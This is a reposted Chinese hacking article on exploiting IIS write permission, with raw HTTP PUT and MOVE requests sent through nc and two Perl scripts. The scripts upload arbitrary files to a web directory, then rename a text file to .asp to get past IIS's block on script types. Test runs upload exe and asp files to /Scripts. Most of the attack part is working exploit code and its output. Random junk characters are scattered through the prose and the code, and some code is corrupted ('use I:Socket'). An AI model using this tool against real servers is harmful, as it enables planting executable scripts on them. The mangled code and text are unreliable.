对iis写权限的利用

韩冰

作者：SuperHei 转自:http://www.4ngel.net

大家可能看过《远程分析IIS设置》，里面对iis的各种设置进行了分析，我这里就对iis的写权限来分析下，以下引用《远程分析IIS设置》文章对iis写权限分析内容：

写权限

' \- J+ ^1 r2 m, C! @$ C9 b7 r

　　测试一个目录对于web用户是否具有写权限，采用如下方法：telnet到服务器的web端口(80)并发送一个如下请求：

2 o/ j* W& Z' J

PUT /dir/my_file.txt HTTP/1.1 Host: iis-server ( f4 B; `! e: h' [, i, ]Content-Length: 10

　　这时服务器会返回一个100( 继续)的信息：

) q4 ?" U" e/ ]9 r

+ `( R' l* I! Z; \: Z _# |HTTP/1.1 100 Continue Server: Microsoft-IIS/5.0 x- c: r/ \1 L0 \Date: Thu, 28 Feb 2002 15:56:00 GMT

　　接着，我们输入10个字母：

, ^$ [8 U/ K% a/ b$ Q) x; ZAAAAAAAAAA

　　送出这个请求后，看服务器的返回信息，如果是一个 201 Created响应：

7 B! }" P% b, `0 a: m

HTTP/1.1 201 Created / M0 C' e; P9 b' m9 p( e% FServer: Microsoft-IIS/5.0 ( o W6 a! x7 Z' ?) Y; s. p7 aDate: Thu, 28 Feb 2002 15:56:08 GMT Location: http://iis-server/dir/my_file.txt : u1 O9 H3 x, W0 ^. QContent-Length: 0 3 z. ?, f$ n8 Z" H+ S7 u2 h7 WAllow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK

6 y0 T) D9 X! M- b1 t

　　那么就说明这个目录的写权限是开着的，反之，如果返回的是一个403错误，那么写权限就是没有开起来，如果需要你认证，并且返回一个 401(权限禁止) 的响应的话，说明是开了写权限，但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话，那么web用户就可以上传一个程序并且执行它，恐怖哦%^#$!~

　　这里简单说明下：

0 t: h% W0 |" i1 h0 H) ~PUT /dir/my_file.txt HTTP/1.1 1 x, i) h B, Q+ K9 x# gHost: iis-server Content-Length: 10

# A: N" _3 @( c9 m1 w

　　PUT：请求服务器将附件的实体储存在提供的请求URL处，如果该请求URL指向的资源已经存在，则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源，该URL将被该请求的用户代理定义成为一个新的资源，原始服务器将用该URL产生这个资源。 　　Host：是HTTP请求的发送地址 : q7 Z- t& s% w) W$ a　　Content-Length：是内容长度，也就是实体长度，该长度值和上传的文件大小一致

　　用nc（telnet）提交很烦琐，我们这里写个简单的perl程序，来完成这个复杂的提交过程，在写代码时我们用binmode()方式打开文件，代码如下：

; n' T- i/ e) {/ M* I ' L7 p( N4 x& N+ A

#!/usr/bin/perl ' }- {5 \7 {7 u8 x* N" euse I:Socket; $ARGC = @ARGV;

* c8 E* F- N8 m/ |0 O4 F C- `

if ($ARGC != 4) { 　　print "usage0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n"; ; h$ ?! a2 r* v' N$ k　　exit; } $host = @ARGV[0]; ' ^: Z& p `$ L8 u$port = @ARGV[1]; $file = @ARGV[2]; $path = @ARGV[3];

+ _; t9 l0 _# A; S( _2 ?

@s=stat("$file"); 0 ]# s; w0 w. _ [% A% x3 e/ [0 n$size = $s[7]; #得到文件大小 print "$file size is $size bytes\n";

5 s, f; ?7 Q$ @0 m7 E* [

my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; ( Q( M) |$ { Kprint $sock "PUT $path HTTP/1.1\n"; & R5 [& Q/ P; R+ Qprint $sock "Host: $host\n"; print $sock "Content-Length: $size\n\n"; #sock连接

open(FILE,"$file"); binmode(FILE); #用2进制打开文件

while (read(FILE,$char,1024)) { #读取文件数据上传 　　print $sock "$char"; 6 J) T& O ?$ d! M% U1 a" b} / E) b8 \; W; C+ o D# v5 ~, W7 Tprint $sock "\n\n"; @req = <$sock>; ; I! ]+ j/ `1 nprint "please wait...\n"; sleep(2); if ($req[4]=~/200|201/){ 　　print "upfile Succeed!!!" ; #成功显示 } - ]5 t! {( X* o) jelse{ 4 a* X# r) N& @! ~　　print "upfile faile!!!\n\n"; 　　print @req;#如果失败显示返回错误 , y: L+ z2 V4 P, ^} close $sock; close FILE;

' v# o% }; w S; R+ x! W6 q

　　下面我们测试下：

; A% y5 H5 S6 D; d

; O* ?7 l0 n2 A) e2 e/ Z 5 L. ?: L2 h; ]+ \

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt kaka.txt size is 14 bytes please wait... upfile Succeed!!!

C:\Inetpub\Scripts>dir kaka.txt ; Y* k \8 R y6 v# n u. J' ~' {驱动器 C 中的卷没有标签。 . I1 d# s9 y* i& d9 t3 @* G卷的序列号是 3CD1-479E

C:\Inetpub\Scripts 的目录

2004-05-05 00:37 14 kaka.txt * d: s9 k- O8 ^: V1 个文件 14 字节 + `4 U: W9 k: M# N/ g" e0 个目录 3,871,080,448 可用字节

　　这里我们把kaka.txt成功上传到了web目录Scripts下，以为程序中用了binmode()方式（2进制）打开文件，应该可以上传其他文件，我们先测试下exe文件：

: I- ^4 N/ e- k w& A " [- {" f# b0 F, l: O7 ~# G, B

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe perl.exe size is 20535 bytes please wait... upfile Succeed!!!

C:\Inetpub\Scripts>dir perl.exe 驱动器 C 中的卷没有标签。 ' I9 h/ v$ \% ~卷的序列号是 3CD1-479E

C:\Inetpub\Scripts 的目录

2004-05-05 00:42 20,535 perl.exe , @3 t2 \9 Z' v1 个文件 20,535 字节 0 个目录 3,871,031,296 可用字节

　　成功，可以上传exe了，是不是可以上传任意文件呢？接着来测试asp文件：

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp - d6 K# S Q; {( j) g/ k) p1 r2 akaka.asp size is 4 bytes please wait... / e0 d+ j: i7 x+ k' A' | J5 wupfile faile!!!

HTTP/1.1 100 Continue Server: Microsoft-IIS/5.0 Date: Tue, 04 May 2004 16:45:51 GMT

HTTP/1.1 403 Forbidden Server: Microsoft-IIS/5.0 . F3 c) X5 L* F4 q4 K& q; TDate: Tue, 04 May 2004 16:45:51 GMT Connection: close " p- d: b# W* b* o4 [+ C% P. qContent-Type: text/html Content-Length: 44

<body><h2>HTTP/1.1 403 Forbidden</h2></body>

　　失败！！提示HTTP/1.1 403 Forbidden错误，看来直接用post方式写asp不行了，经过测试只要是iis支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。

　　那我们怎样才可以上传iis支持的文件类型文件呢？iis除了可以执行put，post，get等动作外，还可以执行COPY, MOVE等命令，呵呵！我们这可以先把本地asp上传到远程主机web目录下的txt等其他文件，在提过copy，move命令来改为asp。

　　我们还是先用nc提交测试下：

8 f) ]: D# c7 r. f7 i

D:\>nc 127.0.0.1 80 2 Y8 J6 b+ D; e/ | I, Q* vMOVE /scripts/kaka.txt HTTP/1.1 Host:127.0.0.1 Destination: http://127.0.0.1/scripts/kaka.asp

' ?9 q' |9 D1 e/ P2 U

HTTP/1.1 201 Created Server: Microsoft-IIS/5.0 . I% ~; y" \ _9 f K. qDate: Sun, 05 Oct 2003 09:30:59 GMT Location: http://127.0.0.1/scripts/x.asp Content-Type: text/xml 8 F( b/ ~. O5 X# P/ @4 VContent-Length: 0

　　成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合put和move来完成通过iis写容易文件了。我们还是用perl来完成。

　　测试写asp成功：

/ [0 F: n+ V( f: Z. K

C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp ************************************************************ 5 Q H, a) p" ^7 r. icodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569> 1 G2 H/ |# F6 h! ?* V9 t8 S- R************************************************************ kaka.asp size is 4 bytes 1 W5 x, J3 ]6 |" {please wait... 0 W( {& [! q, n+ `upfile Succeed!!! / \' m2 a% w, ?9 DModifyfile Succeed!!!

: ~: Q. l T/ Z) h! z

　　最终的iiswrite.pl代码如下（由于写本文时，在网吧对于文章中代码是先又本人打“草稿”，又lanker测试并最终完成，THX lanker。）：

8 t5 F x9 R- |0 X& [; W ( H3 a! w' o, p( c

#!/usr/bin/perl #The iiswrite Script

. |/ O& g, q, b+ J' z$ z

use I:Socket; $ARGC = @ARGV; print "*" x 60; 1 o# N$ ^$ ?% v1 B( f3 Fprint "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n"; ! q" |, t R$ c$ F" F# P) Aprint "*" x 60,"\n"; if ($ARGC != 4) ( \5 p! O$ O' M+ n3 ~{ 8 t' A( t) `+ H5 ]/ J　　print "usage0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n"; 　　exit; } $host = @ARGV[0]; $port = @ARGV[1]; ! U7 n, \8 s4 ]- I$ G$path = @ARGV[3]; $file = @ARGV[2];

/ F O( \* S5 z3 m

@path=split("/",$path); $any = pop(@path); + \" u" N0 ^6 q" @* H$path1=join("/",@path); @s=stat("$file"); $size = $s[7];

print "$file size is $size bytes\n"; my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; / D6 S/ l: t x) u2 s& s# V5 Tprint $sock "PUT $path1/lanker.txt HTTP/1.1\n"; print $sock "Host: $host\n"; / {* J6 y% E# C! O O# K) t; G0 ~ vprint $sock "Content-Length: $size\n\n"; 3 q$ ^+ a( p7 z' l5 T! U. [open(FILE,"$file")|| die "Can't open $file"; binmode(FILE); while (read(FILE,$char,1024)) { 　　print $sock "$char"; } print $sock "\n\n"; @req = <$sock>; , V6 V, ~) s6 }" f% w k( Cprint "please wait...\n"; sleep(2); if ($req[4]=~/200|201/){ 　　print "upfile Succeed!!!\n" ; } 0 w" q8 L' L* w& O* a7 r9 gelse{ 7 g$ [1 M5 d8 j4 q3 Z" a　　print "upfile faile!!!\n"; 5 s' ~+ z3 I% A7 T' P} $ T& g, G0 ^+ x! f7 r gclose $sock; 4 E0 ?# a4 c7 F) @" ^close FILE;

my $sock = I:Socket::INET->new(Proto =>"tcp", e% [, Q/ o3 R( TPeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; 4 V6 C- v2 }' U- K a8 ]( Mprint $sock "MOVE $path1/lanker.txt HTTP/1.1\n"; print $sock "Host: $host\n"; 9 P. i( r6 T3 b9 Qprint $sock "Destination:http://$hostport$path\n\n\n\n"; @req = <$sock>; ; P7 o, {1 F6 B; n% l. F* S7 Eif ($req[0]=~/20\d+|/){ - y& \$ p0 g. ?$ T% F" K) ]* s, }　　print "Modifyfile Succeed!!!" ; } + n3 j1 X6 Q3 ` u9 }- _) ielse{ 　　print "upfile faile!!!"; y: n0 q8 U( @* g7 O" n} close $sock